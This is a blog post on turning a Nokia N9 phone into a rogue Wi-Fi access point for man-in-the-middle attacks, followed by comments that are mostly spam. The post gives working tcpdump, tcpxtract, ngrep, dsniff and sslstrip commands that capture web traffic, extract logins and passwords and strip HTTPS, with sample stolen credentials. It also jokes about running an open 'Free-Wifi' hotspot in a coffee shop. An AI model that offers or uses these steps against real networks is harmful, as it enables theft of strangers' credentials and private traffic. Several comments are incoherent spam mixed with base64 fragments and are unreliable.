true-binary.com – code is poetry…

HOME

the n9 as an evil access point #mitm

01.02.2013 (1:22 am) – Filed under: computing, debian, linux, meego

Prelude: I used it in all these tools for development and privat use, e.g. you shouldn’t use it in a coffee-shop, call your hotspot “Free-Wifi” and turn the encryption off :P

The last month I looked for a way to use my n9 as package sniffer and I figured out some usefull stuff …

… my train of thought was – how can I sniff whatever it’s transmitted through my stock wifi-hotspot (joikuspot) …

… so here’s a guideline of what I got working and how it works:

mitm

My device:

Nokia n9, Linux RM 696 2.6.32.54-dfl-161-20121301 open mode, meego Harmattan PR1.3

Pre-dependencies:


I AM WORKING IN OPEN MODE, SO I DONT KNOW IF IT WORKS WITH THE STOCK KERNEL!!!


1. tcpdump + tcpxtract
2. ngrep
3. dsniff [dsniff itself]
4. ssldump?


1. tcpdump + tcpxtract:

tcpdump is a very powerful package analyzer – you can dump nearly all traffic with this tool …

tcpxtract is a tool to rebuild data from tcpdump-pcap files…

let’s install the packages [and dependencies]:

apt-get install tcpdump libpcap0.8

I took the tcpxtract_1.0.1-5_armel package out of the debian repository.

dpkg -i tcpxtract_1.0.1-5_armel.deb

now fire up the wifi hotspot, connect with a client and let the magic begin:

mkdir tcpxtract_out/
tcpdump -i wlan0 -n -s 1500 -w tcpdump_http.pcap port 80

# we are starting tcpdump on interface [-i] wlan0, set the snaplen to 1500 [-s], don’t convert addresses to names [-n] and listen only on port 80 [port 80]

open a website on the client … tcpdump will capture it.

when you think you are finished, kill tcpdump [crtl+c]

now we will convert the captured traffic:

/home/user/dev/tcpplay # tcpxtract -f tcpdump_http.pcap -o tcpxtract_out/

Found file of type “html” in session [82.150.199.80:20480 -> 192.168.20.20:25055], exporting to tcpxtract_out/00000000.html
Found file of type “png” in session [82.150.199.80:20480 -> 192.168.20.20:25055], exporting to tcpxtract_out/00000001.png
Found file of type “png” in session [82.150.199.80:20480 -> 192.168.20.20:25055], exporting to tcpxtract_out/00000002.png
Found file of type “png” in session [192.168.20.20:26079 -> 82.150.199.80:20480], exporting to tcpxtract_out/00000003.png

Found file of type “png” in session [92.122.212.57:20480 -> 192.168.20.20:30431], exporting to tcpxtract_out/00000021.png

it looks like this.

I LIKE! :)

2. ngrep

ngrep is a very powerful tool as well – you can analyze traffic live…

I’m going to show you how to filter the traffic by some regular expressions to look for logins:

first install the necessary dependencies and ngrep itself:

apt-get install lipcap0.8

here’s ngrep_1.45.ds2-9_armel [from debian repository]

dpkg -i ngrep ngrep_1.45.ds2-9_armel.deb

now fire up the wifi hotspot, connect with a client and let the magic begin [again ;) ]:

/home/user/dev/sniffer # ngrep ‘[&\s?](?:login|user(?:name|)|p(ass(?:word|wd|)|w|wd))[\s:=]\s?([^&\s]*)’ -q -i -d gprs0 port 80 or port 25 or port 110 -l
interface: gprs0 (123.123.123.123/255.255.255.255)
filter: (ip or ip6) and ( port 80 or port 25 or port 110 )
match: [&\s?](?:login|user(?:name|)|p(ass(?:word|wd|)|w|wd))[\s:=]\s?([^&\s]*)

T 123.123.123.123:61342 -> 82.150.199.80:80 [AP]
log=ohyes&pwd=itworks&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwww.true-binary.com%2Fwp-admin%2F&testcookie=1

# we are starting ngrep with a regular expression filter, tell it to be quiet [-q], to ignore case [-i], to use interface gprs0 [-d] (i had segment faults when I started it on wlan0 … from time to time), -l to make the stdout line buffered [-l] (usefull when capturing to a file {2>&1 >ngrep.log}) and filter the traffic by ports [port 80 or port 25 or port 110]

… What it doesn’t do is capturing htaccess logins, I use dsniff for it.

3. dsniff

dsniff? – omg, it’s awesome! it includes:

arpspoof  – Send out unrequested (and possibly forged) arp replies.
dnsspoof  – forge replies to arbitrary DNS address / pointer queries on the Local Area Network.
dsniff    – password sniffer for several protocols.
filesnarf – saves selected files sniffed from NFS traffic.
macof     – flood the local network with random MAC addresses.
mailsnarf – sniffs mail on the LAN and stores it in mbox format.
msgsnarf  – record selected messages from different Instant Messengers.
sshmitm   – SSH monkey-in-the-middle. proxies and sniffs SSH traffic.
sshow     – SSH traffic analyser.
tcpkill   – kills specified in-progress TCP connections.
tcpnice   – slow down specified TCP connections via “active” traffic shaping.
urlsnarf  – output selected URLs sniffed from HTTP traffic in CLF.
webmitm   – HTTP / HTTPS monkey-in-the-middle. transparently proxies.
webspy    – sends URLs sniffed from a client to your local browser (requires libx11-6 installed).

dsniff does have some more dependencies than the other tools I described:

I took the libdb4.6_4.6.21-16_armel and libnids1.21_1.23-2_armel from the debian repository.

Here’s dsniff_2.4b1+debian-18_armel

apt-get install libnet1 libpcap0.8 libssl0.9.8 openssl

dpkg -i libdb4.6_4.6.21-16_armel.deb

dpkg -i libnids1.21_1.23-2_armel.deb

dpkg -i dsniff_2.4b1+debian-18_armel.deb

whooop! – should be working now :)

dsniff itself is very simple to use – it has a build-in filter. I used it to sniff the authentication for htaccess logins as well as ftp logins:

/home/user/dev/sniffer # dsniff -m -s 1500 -i gprs0
dsniff: listening on gprs0

—————–
01/31/13 10:45:02 tcp 123.123.123.123.61056 -> p111.111.111.111.some.isp.com.80 (http)
GET / HTTP/1.0
host: server.idonttellyou.com
authorization: Basic dGhpc2lzOmh0YWNjZXNzZHVtcA== [thisis:htaccessdump]

—————–
01/31/13 10:47:22 tcp 123.123.123.123.57838 -> 82.150.199.80.21 (ftp)
USER thisis
PASS ftpdump

# we are starting dsniff with automatic protocol detection [-m], set the snaplen to 1500 [-s] and listen on interface gprs0 [-i] … again I got segment faults when listening on wlan0.

4. sslstrip?

sslstrip strips down your https connections to http …

… I found a way to pipe your local connection through sslstrip, but not with the hotspot connected client.

All I did was to modify my APN connection – I activated the http_proxy on 127.0.0.1 and port 10000, and changed a gconf setting (gconftool-2 -t string -s /system/proxy/mode “manual”) – deactivate and activate the connection again and fire up sslstrip.

An alternative for testing is to set the http proxy in firefox.

What I figured out was: The Joikuspot doesn’t use the APN entry from the phone settings, because I tried to add a second APN with some changed settings and it won’t show up in the properties of Joikuspot. – Maybe that’s why it doesn’t take the proxy settings from the APN … anyway, I’m still working on a workaround!

Here’s sslstrip-0.9 (taken from http://www.thoughtcrime.org/)

/home/user/dev/sniffer/# apt-get install python-twisted-web

/home/user/dev/sniffer # tar xzf sslstrip-0.9.tar.gz && cd sslstrip-0.9

/home/user/dev/sniffer/sslstrip-0.9 # python setup.py build
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
Cleaning up…

/home/user/dev/sniffer/sslstrip-0.9 # python setup.py install
running install
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
running install_lib
running install_scripts
copying build/scripts-2.6/sslstrip -> /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
running install_egg_info
Removing /usr/local/lib/python2.6/dist-packages/sslstrip-0.9.egg-info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.9.egg-info
Cleaning up…

/home/user/dev/sniffer/sslstrip-0.9 # ln -s /usr/local/bin/sslstrip /usr/bin/

/home/user/dev/sniffer/sslstrip-0.9 # gconftool-2 -t string -s /system/proxy/mode “manual”

/home/user/dev/sniffer/sslstrip-0.9 # sslstrip -l 10000 -w ../sslstrip.log &

/home/user/dev/sniffer/sslstrip-0.9 # tail -f ../sslstrip.log

2013-01-31 23:57:56,683 SECURE POST Data (www.facebook.com):
lsd=AVpjTuuG&email=thisis%40just.an&pass=example&default_persistent=0&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C

… I also got the webmitm/mitmproxy running (fakes SSL-certifications, but as it’s not a very efficient and elegant way to work, so I won’t explain it)

cheers!

21 Responses to “the n9 as an evil access point #mitm”

  1. sds Says:

    when i type this code in terminal:

    tcpdump -i wlan0 -n -s 1500 -w tcpdump_http.pcap port 80

    said:

    sh: tcpdump: not found

    but in installing of tcpdump and libpcap0.8

    said:

    you have installed latest version of tcpdump and libpcap0.8 !!!

    Can u learn this post step by step,plzzzzzzzzzzzzzzzz?

  2. aviator ray ban sunglasses Says:

    Hmm is anyone else encountering problems with the images on this blog loading? I’m trying to find out if its a problem on my end or if it’s the blog. Any suggestions would be greatly appreciated.

  3. ??????? 574 Says:

    Hey! This is my 1st comment here so I just wanted to give a quick shout out and say I really enjoy reading your articles. Can you recommend any other blogs/websites/forums that go over the same subjects? Thank you!

  4. free delivery cheap nfl jerseys Says:

    With havin so much written content do you ever run into any problems of plagorism or copyright violation? My website has a lot of unique content I’ve either written myself or outsourced but it appears a lot of it is popping it up all over the web without my agreement. Do you know any ways to help protect against content from being ripped off? I’d really appreciate it.

  5. authentic nba jerseys for women Says:

    We stumbled over here different web address and thought I may as well check things out. I like what I see so i am just following you. Look forward to checking out your web page repeatedly.

  6. authentic nfl jerseys shop Says:

    This design is incredible! You definitely know how to keep a reader amused. Between your wit and your videos, I was almost moved to start my own blog (well, almost…HaHa!) Great job. I really loved what you had to say, and more than that, how you presented it. Too cool!

  7. authentic louis vuitton ladies sunglasses Says:

    Please let me know if you’re looking for a author for your blog. You have some really great posts and I feel I would be a good asset. If you ever want to take some of the load off, I’d love to write some articles for your blog in exchange for a link back to mine. Please send me an e-mail if interested. Cheers!

  8. devil's sea whip Says:

    Thhe disappearances of ships in the area involve the weaponization of gas
    deposits – whdn released, they can trigger the water below a ship to rush out momentarily, causing the keel to sink into the
    void just as the water begins rushing back in. The Deep Ones do this whenever a ship gets too close
    to obtaining out about them.

  9. ?????? Says:

    Oh my goodness! Amazing article dude! Thank you so much, However I
    am having troubles with your RSS. I don’t know why I cannot join it.
    Is there anybody getting similar RSS issues? Anybody who knows
    the solution can you kindly respond? Thanx!!

    ????????????????:??????

  10. ?????? tag Says:

    Very rapidly this web page will be famous among all blogging and site-building visitors, due to it’s pleasant content

    ?????????????????-?????? tag

  11. celine shop With the internet present, teenagers have learned to get into long distance relationships. Says:

    gucci outlet store…

    Debt co celine shop nsolidation loans UK combines all your previous debts int Christian Louboutin Outlet online o one. With this facility you have to make a single monthly payment to one creditor instead of paying numerous creditors. Remember,c Christi…

  12. Jordan 12 Says:

    ma proprio lo stato intero, Quello da cui era scappato. L’actrice Nicole Kidman était à l’aéroport de Sydney en compagnie de son mari Keith UrbanC’est chez les parents de Nicole Kidman que le troisième anniversaire de la petite Sunday Rose a été célébré vendredi avec quelques jours d’avance Dina ayant finalement eu ce qu’elle voulait ogni volta sempre imminente Di far muovere persino un truck Iveco Anversa un futur papa président de la République aux petits soins Naturalmente il settore musicale ?a tutt?ggi il pi?colpito e da l?viene la maggioranza dei disoccupati Gli operai scaricano i leader del no Sommando i voti contro la sua candidaturata E non emerge alcun indizio di attuale sussistenza dell?nteresse dell?rganizzazione mafiosa a intessere indebiti collegamenti con Troia”.une nouvelle fois dans la tourmente Non solo, Se saltano le primarie in Lombardia, Les dernières générations de consoles ont littéralement fait exploser les budgets consacrés au développement de jeux vidéo. Era appena il 2004 quando la Provincia brianzola si ?separata da Milano.ri Ma lo sa.

  13. Nike Shox Says:

    t?per risparmiare in sicurezzaa répondu Bobbi Kristina Ils sont aussi adulés que détestés continuent de marcher ! a cominciare ap? fu Giordano Vimercati. que s’est-il passé ?ma in un campo di concentramento 4 miliardi di dollari.tanti momenti di incertezza dell? Nel Nord si concentrano gli autonomi attivi nell?rtigianato e i lavoratori dipendenti dalle imprese. infine, Passano gli anni, Sans surprise sent le sexe et la pizza Animale Giulia est née de leur union le 19 octobre 2011 Quel intért avait-il à faire tout ce que Britney lui demandait sans mme tre payé “Kate Walsh est n? en 1967 ?San Jose et Valérie Bègue attendent. Per me ?non fumatrice ?questo era un grande segno di RISPETTO PER GLI ALTRI. non a distruggere ricchezza. e figurarsi se ?mai stata sfiorata dall’idea di calare il carico da undici dell’energia sul tavolo dei cinque continenti.Jordan GrevetSunny?E

  14. mbt stock Says:

    http://www.teflalumni.com/mbt-usa/mbt-stores-in-uk.php mbt stores in uk

  15. http://getnaturaldiet.tumblr.com Says:

    Hurrah! After all I got a blog from where I be able to really
    get helpful facts concerning my study and knowledge.

  16. Celeste Says:

    Inside your private Caribbean beach villa, you can kick up
    your heels and relax in the plush surroundings. There are many
    different ways to enjoy the wonder of a
    Disney holiday. If you own a centrifugal juicer and
    are annoyed by the foaming and the clogging switch to a masticating juicer.

  17. cuisinart juicer cje 1000 Says:

    Although you’re taking a risk, you can attempt this on your own. To take hold of this gentle wisdom and to remember that if I let go and be held by Mother Nature’s ebb
    and flow that I too will be brought back to pools of stillness.
    A form of the herb licorice, called deglycyrrhizinated licorice (DGL), was explored for canker sores
    in a small study.

  18. buy juicer Says:

    Inside your private Caribbean beach villa, you can kick up your heels and relax
    in the plush surroundings. To take hold of this gentle wisdom and to remember
    that if I let go and be held by Mother Nature’s ebb and flow
    that I too will be brought back to pools of stillness.
    If you own a centrifugal juicer and are annoyed by the
    foaming and the clogging switch to a masticating
    juicer.

  19. Tower Climber Staffing Says:

    . It’s a much more amazing setting compared to you would normally stroll into when checking out a staffing company.

    Here is my webpage Tower Climber Staffing

  20. gjmsvtiz Says:

    cnRzJTNhUFNSTF9DZW50ZXJlZEhlZDEwLS0+PHA+U3RhdGUgUG9sbDwvcD48IS0tUFNUWUxFPVNw coach purses outlet The old Aygo was showing its age inside where crummy heater controls and nasty plastics looked cheap compared to the VW Up! a coach purses outlet
    On the whole, the two camps of the GOP probably still agree more often than they disagree. On issues like abortion or gun rights, the caucus will be unified; they’ll be all too happy to join hands in rolling back environmental protections and giving tax breaks to big industry. However, the private option isn’t the only possible intra-party flash point: Education issues, such as , might also reveal divisions among the Republicans. How deep those divisions will be still remains to be seen. coach purses outlet It s not a surprise that adults who have a network of friends and family to call on in times of stress have fewer mental health issues, live longer, and have fewer chronic health diagnoses. That being said, social skills are learned, and childhood is the time for practice. By providing ample opportunities and modeling pro-social skills, your children will be on their way. The more stable, nurturing adults a child has to rely on, the better. Connections to others serves as protection for children at risk. We know that if a child has just one person who consistently offers caring, unconditional support, they can use that foundation for healthy development.
    ZXMgYnV0IGJ5IHJlZHVjaW5nIHVubmVjZXNzYXJ5IHdvcmsgYW5kIGVsaW1pbmF0aW5nIHNvbWUg coach purses Article published on Tuesday, July 22, 2014 h ??a href=http://www.coachpurses.name/>coach purses
    Businesses that offer employee wellness programs like the health and wellness solutions provided by can lower their medical costs and offer a spectrum of , including reduced absenteeism. Customized workplace wellness programs give employees round-the-clock access to valuable information, health professionals and advice, live or via technology, that can help them stay healthy. Plus, these programs can help employees manage diseases, assess their health and set personal wellness goals. http://www.coachpurses.name ?
    h cmljYSB3YXMgd2hlbiBhIGxhcmdlIGJhYm9vbiBjYW1lIHJ1bm5pbmcgdG93YXJkIGhpbSBhcyBo coach purses Just now we are using up the surplus from the good world season of 1913. Now comes news of frosts in Canada that are having a serious effect on this season’s production. coach outlet
    Wow. It?? Jan. 24, and there?? already a film that?? going to be tough to beat. For worst movie of 2015, that is.It?? ??ortdecai,??a laughless comedy featuring Johnny Depp mugging from start to finish as the title character. Mortdecai is a British art dealer and rogue, and Depp plays him by imitating gap-toothed ??0s comic Terry-Thomas (??t?? a Mad, Mad, Mad, Mad World?? with a slight touch of debonair David Niven thrown in. This might work in small doses, or if the material weren?? so achingly bad. Instead, moviegoers can only wonder what Depp, Gwyneth Paltrow, Ewan McGregor, Paul Bettany or anyone else in the cast or crew were thinking as they shot this abomination. Did they think it was funny? And, if so, why?Half the movie, it seems, is taken up with lame jokes about Mortdecai?? new, upturned mustache. His wife (Paltrow) hates it. When she and Mortdecai kiss, she gags, which makes him gag. This happens many, many times.The plot involves a stolen Goya, which Mortdecai seeks to retrieve. His investigation leads to a party where everyone starts vomiting.You know, because vomit is hilarious.You can?? help but feel embarrassed for all involved. ??ortdecai,??starring: Johnny Depp, Gwyneth Paltrow, Ewan McGregor and Paul Bettany. Directed by David Koepp and written by Eric Aronson, based on a novel by Kyril Bonfiglioli. Rated R for some language and sexual material. Star rating: Bomb. coach purses outlet *EMAIL http://www.coachpurses.name
    Labor leader Bill Shorten said the review was part of the Abbott government’s clear agenda to attack pay and conditions. ??a href=http://www.coachpurses.name/>coach purses The guys have worked very hard to be in the position they are.??c coach outlet
    When: 9 a.m. ??3 p.m., Jan. 10. coach outlet online Trenches will be dug between Edinger and Warner avenues on the eastern side of the street to add new pipes, but the rest of the work will be done underground, he said.
    | http://www.coachpurses.name Since the early 2000s, competitors old and new have grabbed great chunks of Microsoft?? business.
    Registration is $10 for K-12 students, $15 for members of the military who show identification, $25 for adults through Friday and $30 for adults on race day. coach purses The leaders of both the sides met 14th time at the buffer zone in Lefkosa to continue their discussion over the property issue. Eroglu told the reporters after the meeting We are still determined not to debate anything but property issue, and our envoys and the technical teams are working on subtitles of this issue including exchange, compensation, return of property and property commission,
    5th Place Match coach outlet “The levels of satisfaction and the kinds of satisfaction are quite different,” he says. “The characters take over the story. I think, ‘why did I write that?’, then I realise it’s exactly what the characters would do. But it’s very hard work putting 600 pages of a story from your head onto paper.”
    q Gwich??n is one of 47 separate Athabascan languages and is spoken in 15 communities throughout Alaska, the Yukon and the Northwest Territories. The Tukudh dialect predates the Gwich??n translation to English. ?A similar service entirely in Gwich??n was held in 2003, a 10-year anniversary service was postponed last year because members from Canada weren?? able to cross the border.?Alaskan attendees came from Gwichyaa Zhee (Fort Yukon), Viihtaii (Venetie), Vashraii K??o (Arctic Village), Jalgitsik (Chalkyitsik), Tsee Duu (Beaver), Deenduu (Birch Creek), Danzhit Haiinlaii (Circle), Tanan (Fairbanks) and Eagle.?Canadian contributors traveled from Vun Tut (Old Crow), Teet???t Zheh (Fort McPherson), Dawson and Whitehorse.? ??a href=http://www.coachpurses.name/>coach purses “Biography,” she says with characteristic reproach, “is the worst possible excuse for getting people wrong.”
    (1) You are a good boy, Bobby. You don?t use more electricity than is really necessary. Keep up the fine work. coach purses outlet Troopers are working to determine who owns the land from where the tree fell, Montes said. c coach outlet
    Floral wreath http://www.coachpurses.name MEN’S TOP 25
    b DB: Kaleb Prewett, Blue Springs, 6-2, 205, Sr. http://www.coachpurses.name Staggering through its sliding doors, guests are greeted by a hypnotic patchwork of baby blue and yellow that creeps around the circular carpets and ceilings. Purple spotlights illuminate abstract works of art hanging from cast-iron beams and bare brick walls, and Air’s Moon Safari is piped through the foyer. x
    Both Gogia and Mehta are the children of professionals who grew up in India, survived the chaos of the partition years, when Pakistan was formed, and immigrated to the United States. And both Gogia and Mehta are devout Sikhs, members of the religion that developed in the late 15th century in the Punjab, a region in what is today northwest India. Under the teachings of founder Guru Nanak, the faith emphasizes monotheism and respect and equality for all people without regard to caste or gender. coach purses outlet * traditionalSignIn_signInButton * coach outlet
    coach outlet ??y role as a parent is to give my children the confidence to do what they want, not wrap them up in cotton wool. That?? what I want to do with my business.??p coach purses
    Morton has signed to play basketball at Bishop State, while Massey signed with Spring Hill. coach purses Most probably, it will happen somewhat naturally — whenever Belichick’s name comes up for debate with the voting committee, all these issues will obviously come up.
    “> ??a href=http://www.coachpurses.name/>coach purses UW’s wide receivers, particularly Isaac Anderson and Nick Toon, can be tenacious downfield blockers. i coach purses outlet
    Make it a priority to save money while you shop, Harper says. He encourages clipping coupons, and says purchasing membership cards to discount stores like Sam?? Club and Costco can help you save money over time. coach purses — Falcons: Kyle Shanahan (unofficial; reported Sunday)

  21. http://registro2014.foro-mundial.org/?option=com_k2&view=itemlist&task=user&id=23885 Says:

    Ensure that your resume makes it easy for the readers to
    identify your capabilities and feel your enthusiasm
    to be a part of their workforce. When choosing furniture, you’ll be deciding on many different types of chairs to put into your home.
    If you own a centrifugal juicer and are annoyed by the foaming
    and the clogging switch to a masticating juicer.

Leave a Comment
(All comments are moderated before they appear on the site.)